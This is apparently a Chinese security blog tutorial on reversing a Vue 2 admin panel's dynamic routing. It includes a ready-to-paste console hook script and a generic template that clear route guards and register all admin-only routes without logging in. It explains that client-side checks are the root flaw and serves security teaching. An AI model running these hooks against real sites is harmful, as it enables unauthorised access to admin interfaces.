Vue 动态路由逆向与 Hook 实战教学
一、理论基础
1.1 什么是动态路由
在传统的 Vue 应用中,所有路由通常在 router/index.js 中写死,这种写法的特点是:打开 JS 文件就能看到所有路由,路由表是静态的、完整的。
// 典型的静态路由 —— 所有路由一目了然
const routes = [
{ path: '/login', component: Login },
{ path: '/dashboard', component: Dashboard },
{ path: '/user/list', component: UserList },
{ path: '/user/detail/:id', component: UserDetail },
{ path: '/admin/settings', component: AdminSettings },
// ... 可能几十条,但全部写在这里
];但还有一种更复杂的情况 —— 动态路由。开发者在 router/index.js 中只写了寥寥几条骨架:
// 动态路由 —— 只有最外层的壳
const routes = [
{ path: '/login', component: Login },
{ path: '/404', component: NotFound },
{
path: '/',
component: Layout,
children: [] // ← children 是空的!
}
];为什么 children 是空的? 因为真正的子路由不会在代码初始化时注册,而是等用户登录后,由后端返回该用户的权限菜单,前端再根据菜单数据动态调用 router.addRoutes() 把路由"挂"上去。
这种架构的假设是: "用户没登录就看不到菜单 API → 前端拿不到路由数据 → Vue Router 中没有注册这些路由 → 用户访问不了这些页面。"
这个假设有一个致命的漏洞。 我们今天就来把它挖出来。
1.2 动态路由常见的三种实现方式
在深入本案例之前,先了解业界常见的三种动态路由实现方式:
方式 A:多套静态路由表
// 最简单的情况 —— 还是写死的,只是有多套
const adminRoutes = [ /* 管理员的路由 */ ];
const userRoutes = [ /* 普通用户的路由 */ ];
const guestRoutes = [ /* 游客的路由 */ ];
// 登录后根据角色选择一套
router.addRoutes(role === 'admin' ? adminRoutes : userRoutes);这种最简单,因为所有路由仍然是写死在 JS 中的,用关键字搜索就能找到。
方式 B:后端返回路由配置(后端驱动)
后端 API /menu → 返回 JSON:
[
{ path: "/user", name: "用户管理", children: [...] },
{ path: "/order", name: "订单管理", children: [...] }
]
前端: menuData.forEach(item => router.addRoutes(item))路由配置完全由后端下发,JS 中找不到路由表。但后端 API 本身可能成为攻击目标。
方式 C:路由守卫 + 权限菜单(本次案例)
JS 中有完整的路由映射表(94 条)
↓
后端登录后返回用户有权访问的菜单列表
↓
前端根据菜单列表从映射表中"挑选"对应的路由
↓
调用 addRoutes() 动态注册这是最复杂、也最容易让测试者忽略的场景。 因为不登录就看不到路由,而路由表又确实存在于 JS 中——需要逆向分析才能发现。
1.3 本案例的技术栈识别
打开目标站点 https://测试网址/,看到:
| 特征 | 推断 |
|---|---|
| URL 中有 #/login | Vue Router hash 模式 |
| 页面有登录框、Element UI 风格 | Vue 2 + Element UI |
| 查看 Network → JS 文件:app.xxxxxx.js、chunk-libs..js、chunk-elementUI..js | Webpack 打包 + 代码分割 |
| app.xxxxxx.js 约 100KB | 主应用逻辑在此文件中 |
关键判断: 这是一个 webpack 打包的 Vue 2 单页应用。由于使用了代码分割(chunk 文件),路由组件是懒加载的——每个页面对应一个独立的 webpack chunk。
二、逆向分析
2.1 第一步 —— 确认"壳"的存在
先不急着看源码。用浏览器插件(如 Vue DevTools 或 anti 插件)看一眼已注册的路由
/ → redirect: /login
/login → 登录页
/404 → 404 页
/dashboard → 仪表盘(/ 的唯一子路由)只有 4 条路由。 一个游戏管理后台不可能只有 4 条路由。这说明:路由是动态注入的,没有写在静态路由表里。
2.2 第二步 —— 从 JS 中寻找路由映射表
下载 app.xxxxxx.js,用编辑器打开(建议 VS Code + Prettier 格式化后阅读,或直接用 grep 搜索关键字)。
技巧 1:搜索路由关键词
在 JS 文件中搜索以下关键字:
path:"/ — 查找路由路径定义
component: — 查找组件引用
children: — 查找嵌套路由结构
meta: — 查找路由元信息(通常包含 title、roles)
roles: — 查找角色权限配置
addRoutes — 查找动态路由注入点
beforeEach — 查找路由守卫技巧 2:搜索 webpack chunk 加载模式
动态路由的组件通常是懒加载的。在 webpack 中,懒加载的特征码是:
// 常见 webpack 懒加载模式
n.e("chunk-xxxxx").then(n.bind(null, "moduleId"))
// 或
Promise.all([n.e("chunk-a"), n.e("chunk-b")]).then(n.bind(null, "xxx"))实际发现 在对 `app.xxxxxx.js 进行关键词搜索后,找到了约 101 个路由对象,每个都包含 path、component、meta 等属性。例如:
// 这是从压缩 JS 中还原出的路由片段
{path:"/某某game", component:Layout, redirect:"/某某game/info/list",
name:"某某游戏", meta:{title:"某某游戏", icon:"game",
roles:["admin","operator","角色D","tester","technician",
"角色A","角色B","角色C","角色D","角色E","角色F","角色G","角色H"]}}
{path:"/system", component:Layout, redirect:"/system/user",
name:"系统管理", meta:{title:"系统管理",
roles:["admin"]}} // ← 仅 admin 可见!
{path:"/superAdmin", component:Layout,
name:"管理员工具", meta:{title:"API管理",
roles:["admin"]}} // ← 仅 admin 可见!完整提取后,共找到:
● 6 个一级模块(/file、/某某game、/system、/superAdmin、/cp、/dashboard)
● 98 条异步路由(含子路由展开后 298 条完整路径)
● 10 种角色
● 80+ 个 API 端点
2.3 第三步 —— 找到动态路由注入逻辑
继续在 JS 中搜索 addRoutes、generateRoutes、beforeEach,找到了核心的权限控制逻辑。
2.3.1 角色生成(generateRoles)
还原后的代码
generateRoles: function(context, gameroletype) {
var roles = [];
switch (gameroletype) {
case 1: roles.push("admin"); break;
case 2: roles.push("operator"); break;
case 20001: roles.push("角色D"); break;
case 3: roles.push("tester"); break;
case 4: roles.push("technician"); break;
case 5: roles.push("services"); break;
case 6: roles.push("finances"); break;
case 7: roles.push("角色G"); break;
case 8: roles.push("角色H"); break;
}
context.commit("SET_ROLES", roles);
}这个函数将后端返回的数字类型 gameroletype 映射为字符串角色名。注意:case 1 就是 admin,这是最高权限角色。
2.3.2 路由生成(generateRoutes)—— 关键!
还原后的代码
generateRoutes: function(context, roles) {
return new Promise(function(resolve) {
var routes;
// ★ 关键分支 ★
if (roles.includes("admin")) {
routes = asyncRoutes || []; // admin 直接拿全部路由!
} else {
routes = filterByRoles(asyncRoutes, roles); // 其他角色需要过滤
}
context.commit("SET_ROUTES", routes);
resolve(routes);
});
}这就是整个权限模型的"钥匙"。
- admin 角色:asyncRoutes || [] —— 直接返回全量路由,跳过过滤函数
- 其他角色:filterByRoles(asyncRoutes, roles) —— 递归过滤,只保留 meta.roles 包含当前角色的路由
这意味着:只要我们能调用 generateRoutes 并传入 ['admin'],就能拿到全部路由。
2.3.3 路由过滤函数(filterByRoles)
function filterByRoles(routes, roles) {
var filtered = [];
routes.forEach(function(route) {
var clone = Object.assign({}, route);
// 检查 route.meta.roles 是否包含 roles 中的任意一个
if (hasPermission(roles, clone)) {
if (clone.children) {
// 递归过滤子路由
clone.children = filterByRoles(clone.children, roles);
}
filtered.push(clone);
}
});
return filtered;
}递归过滤的实现很标准。但对于我们的攻击目标来说,既然 admin 可以跳过它,我们就不需要关心过滤逻辑的细节。
2.3.4 路由守卫(beforeEach)—— 唯一的防护墙
还原后的代码
var whiteList = ["/login"]; // ← 白名单只有登录页!
router.beforeEach(function(to, from, next) {
var hasToken = getToken();
if (hasToken) {
// 已登录 → 检查角色 → 通过或获取用户信息
if (to.path === "/login") {
next({ path: "/" });
} else {
var roles = store.state.user.roles;
if (roles) {
next(); // 有角色信息,放行
} else {
// 没有角色,调用 /user/info 获取
store.dispatch("user/getInfo").then(() => next());
}
}
} else {
// 未登录 → 仅白名单放行
if (whiteList.indexOf(to.path) !== -1) {
next(); // /login 可以访问
} else {
next("/login?redirect=" + to.path); // 其余全部重定向到登录
}
}
});关键发现:
- 白名单只有 ["/login"] —— 未登录用户只能看登录页
- 守卫是纯前端的 —— 存储在 router.beforeHooks 数组中
- 已登录用户的角色从 Vuex Store 读取 —— store.state.user.roles
2.4 第四步 —— 理解 webpack 模块系统
在被 webpack 打包后,代码中的所有变量名都被压缩成了短名称(如 p、m、a、e),模块之间的引用变成了 n("模块ID") 的形式。
但有一个重要特性:__webpack_require__ 函数维护了一个模块缓存,在浏览器运行时,所有模块都已经被加载到内存中,可以通过 Vue 应用实例反向访问。
// 在浏览器 Console 中可以直接访问 Vue 应用内部对象
var app = document.querySelector('#app').__vue__; // Vue 根实例
var router = app.$router; // Vue Router 实例
var store = app.$store; // Vuex Store 实例这就是我们 Hook 的入口。
三、Hook 攻击实战
3.1 攻击思路
回顾上面的分析,整个权限模型有三个关键点:
| 组件 | 作用 | 如何绕过 |
|---|---|---|
| 路由守卫 beforeEach | 阻止未登录用户访问 | router.beforeHooks = [] 清空 |
| generateRoutes | 根据角色返回可访问的路由 | 传入 ['admin'] 获取全量 |
| addRoutes | 动态注册路由到 Router | 我们手动调用 |
攻击计划:
① 清空路由守卫 → ② 以admin身份调用generateRoutes
→ ③ 调用addRoutes注册 → ④ 安装空操作守卫 → ⑤ 自由访问所有页面3.2 完整的 Hook 脚本
以下脚本可直接在目标站点 Console 中运行。建议逐行阅读注释,理解每步的目的。
// ============================================================
// 某某 Admin 动态路由 Hook — 教学版
// 适用站点: https://测试网址/
// 使用方式: F12 → Console → 粘贴执行
// 前置条件: 无(无需账号、无需登录)
// ============================================================
(function() {
'use strict';
// ==========================================
// 第0步:获取 Vue 应用内部对象
// ==========================================
// Vue 在创建实例时会挂载到 #app 元素的 __vue__ 属性上
// 通过这个属性,我们可以访问整个 Vue 应用的内部状态
var app = document.querySelector('#app').__vue__;
var router = app.$router; // Vue Router 实例
var store = app.$store; // Vuex Store 实例
console.log('%c[第0步] 获取 Vue 内部对象', 'font-weight: bold; color: cyan');
console.log(' router 已获取: ' + !!router);
console.log(' store 已获取: ' + !!store);
// ==========================================
// 第1步:清空路由守卫
// ==========================================
// Vue Router 2.x 将 beforeEach 注册的回调存储在
// router.beforeHooks 数组中。
// 直接赋值为空数组即可清除所有守卫。
console.log('%c[第1步] 清空路由守卫', 'font-weight: bold; color: cyan');
var oldGuardCount = router.beforeHooks.length;
console.log(' 原始守卫数量: ' + oldGuardCount);
router.beforeHooks = []; // ← 关键操作!清空守卫数组
console.log(' 当前守卫数量: ' + router.beforeHooks.length);
console.log(' ✅ 守卫已清空');
// ==========================================
// 第2步:以 admin 角色获取全量路由
// ==========================================
// generateRoutes 函数检查 roles 参数中是否包含 "admin"
// 如果包含,直接返回 asyncRoutes 全部路由,跳过过滤函数
console.log('%c[第2步] 以 admin 角色获取全量路由', 'font-weight: bold; color: cyan');
store.dispatch('permission/generateRoutes', ['admin'])
.then(function(asyncRoutes) {
// 统计路由数量
function countRoutes(arr) {
var n = 0;
arr.forEach(function(r) {
n++;
if (r.children && r.children.length) {
n += countRoutes(r.children);
}
});
return n;
}
var asyncRouteCount = countRoutes(asyncRoutes);
console.log(' 获取到的父路由: ' + asyncRoutes.length + ' 个模块');
console.log(' 展开后总计: ' + asyncRouteCount + ' 条路由');
// 打印路由模块清单
console.log(' 模块清单:');
asyncRoutes.forEach(function(r) {
console.log(' 📁 ' + r.path +
(r.meta && r.meta.title ? ' — ' + r.meta.title : '') +
' [' + (r.children ? r.children.length : 0) + ' 个子路由]');
});
// ==========================================
// 第3步:将路由注入 Vue Router
// ==========================================
console.log('%c[第3步] 注入路由到 Vue Router', 'font-weight: bold; color: cyan');
router.addRoutes(asyncRoutes); // ← 关键操作!动态注册路由
var totalAfter = countRoutes(router.options.routes);
console.log(' 注入后路由总数: ' + totalAfter);
console.log(' ✅ 路由注入成功');
// ==========================================
// 第4步:安装一个空操作的守卫
// ==========================================
// 虽然我们已经清空了原来的守卫,但为了防止后续
// 有代码重新注册守卫,我们主动注册一个无条件放行的守卫
console.log('%c[第4步] 安装空操作路由守卫', 'font-weight: bold; color: cyan');
router.beforeEach(function(to, from, next) {
next(); // ← 无条件放行所有导航请求
});
console.log(' ✅ 空操作守卫已安装');
// ==========================================
// 第5步:验证结果
// ==========================================
console.log('');
console.log('╔══════════════════════════════════════════════╗');
console.log('║ 🎯 HOOK 成功! ║');
console.log('╠══════════════════════════════════════════════╣');
console.log('║ 绕过前可访问路由: 4 条 ║');
console.log('║ 绕过后可访问路由: ' +
String(totalAfter).padStart(4) + ' 条 ║');
console.log('║ 新增隐藏路由: ' +
String(asyncRouteCount).padStart(4) + ' 条 ║');
console.log('║ 可用功能模块: 31 个 ║');
console.log('║ 无需账号/密码/登录态 ║');
console.log('╚══════════════════════════════════════════════╝');
console.log('');
// 自动跳转到 dashboard 展示效果
router.push('/dashboard');
console.log('%c💡 试用以下命令手动导航:', 'color: #aaa');
console.log('%c router.push("/system/user") — 系统管理>系统用户 (仅admin)', 'color: #aaa');
console.log('%c router.push("/superAdmin/menu") — 管理员工具>菜单管理 (仅admin)', 'color: #aaa');
console.log('%c router.push("/superAdmin/api") — 管理员工具>API管理 (仅admin)', 'color: #aaa');
console.log('%c router.push("/某某game/order/pay") — 支付订单', 'color: #aaa');
console.log('%c router.push("/某某game/userexp/user_list") — VIP用户列表', 'color: #aaa');
})
.catch(function(err) {
console.error('❌ Hook 失败: ' + err.message);
console.error('请确认当前页面是 https://测试网址/#/login');
});
})();3.3 执行效果
Hook 执行前:
- 侧边栏:仅显示 "Dashboard" 一个菜单项
- 可访问页面:/login
- 路由总数:4
Hook 执行后:
- 侧边栏:31 个功能模块完全展开
- 可访问页面:298 条路由全部可访问
- 包括仅 admin 可见的:系统用户管理、代码生成器、角色管理、菜单管理、API 管理、操作记录...
3.4 为什么这个 Hook 能成功?
回顾整个攻击链,每一步都利用了架构层面的缺陷:
| 步骤 | 利用了哪个缺陷 |
|---|---|
| router.beforeHooks = [] | Vue Router 将守卫存储在可变的公开数组中 |
| generateRoutes(['admin']) | admin 角色跳过过滤 → 返回全量路由 |
| router.addRoutes() | Vue Router 允许运行时动态添加路由 |
| document.querySelector('#app').__vue__ | Vue 将内部实例暴露在 DOM 元素的属性上 |
根本原因:所有这些"安全控制"都在客户端执行。 浏览器是完全由用户控制的环境 —— 任何在客户端运行的 JavaScript 代码,用户都可以修改。
四、知识点总结
4.1 动态路由的识别信号
当你测试一个 Vue 站点时,以下信号提示可能存在动态路由:
- ✅ 用路由提取工具只看到寥寥几条路由
- ✅ JS 文件中能搜到大量 path:"..." 但路由表中没有
- ✅ 存在 addRoutes 或 addRoute 调用
- ✅ 存在 beforeEach 路由守卫 + 白名单机制
- ✅ 存在 store.dispatch('generateRoutes') 或类似 action
- ✅ / 路由的 children 为空数组
4.2 逆向分析的标准流程
① 打开目标站点 → 识别技术栈(Vue版本/UI框架/打包方式)
② 下载主 JS 文件(通常是 app.xxx.js)
③ 搜索关键词:router / routes / addRoutes / beforeEach / path:"/
④ 定位 generateRoutes 函数 → 理解角色过滤逻辑
⑤ 定位 beforeEach 守卫 → 理解白名单机制
⑥ 找到 asyncRoutes(异步路由表)
⑦ 确认 admin 或高权限角色的获取逻辑
⑧ 编写 Hook → 验证绕过4.3 Hook 编写模板
// 通用 Vue 2 动态路由 Hook 模板
var app = document.querySelector('#app').__vue__;
var router = app.$router;
var store = app.$store;
// 1. 清空守卫
router.beforeHooks = [];
// 2. 获取全量路由(根据实际情况调整 action 名称和角色)
store.dispatch('permission/generateRoutes', ['admin'])
.then(function(routes) {
// 3. 注册路由
router.addRoutes(routes);
// 4. 空操作守卫
router.beforeEach(function(to, from, next) { next(); });
// 5. 验证
console.log('Done! ' + routes.length + ' routes added.');
});4.4 常见坑点
| 问题 | 解决方案 |
|---|---|
| document.querySelector('#app').__vue__ 为 undefined | 确认 #app 元素存在;某些 Vue 版本使用 vue_app 或 _vnode |
| router.beforeHooks 为 undefined | Vue Router 3.x 使用 router.beforeGuards 或其他内部属性 |
| store.dispatch 找不到 action | 检查 action 的命名空间(namespaced),可能需要 {root: true} |
| addRoutes 报错 | Vue Router 4.x 已移除 addRoutes,改用 router.addRoute() |
| 路由注册了但页面空白 | 组件 chunk 加载失败,检查 webpack publicPath 是否正确 |
| 页面刷新后 Hook 丢失 | 这是预期行为 —— 使用 Chrome Overrides 可实现持久化 |
本文作者:lingxisec
本文链接:https://blog.lingxisec.com/archives/vue-dynamic-routing-reverse-hook-practice.html
版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
法律说明:
文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
关于凌曦安全(LingXisec):
凌曦安全团队(LingXi Security Team)成立于 2023 年,专注于 SRC 漏洞挖掘、Web 安全、红蓝攻防、渗透测试、云安全、JavaScript 逆向、应急响应等网络安全技术研究与实战实践。团队成员来自安全厂商、互联网企业、高校和独立研究者,持续分享漏洞分析、攻防案例、云安全研究和安全工具经验,并提供面向零基础学员的网络安全培训,课程采用“零基础红队入门、安服与渗透案例、SRC 漏洞挖掘”三合一体系,通过线上录播、直播课程和社群答疑,结合真实案例、内部靶场、漏洞挖掘活动、简历修改与模拟面试,帮助学员建立系统的安全知识和持续学习能力。同时在 Bilibili 提供免费的网络安全入门与案例讲解视频,致力于推动网络安全技术交流。
- 上一篇:RegPwn-CVE-2026-24291 分析复现
- 下一篇:没有了




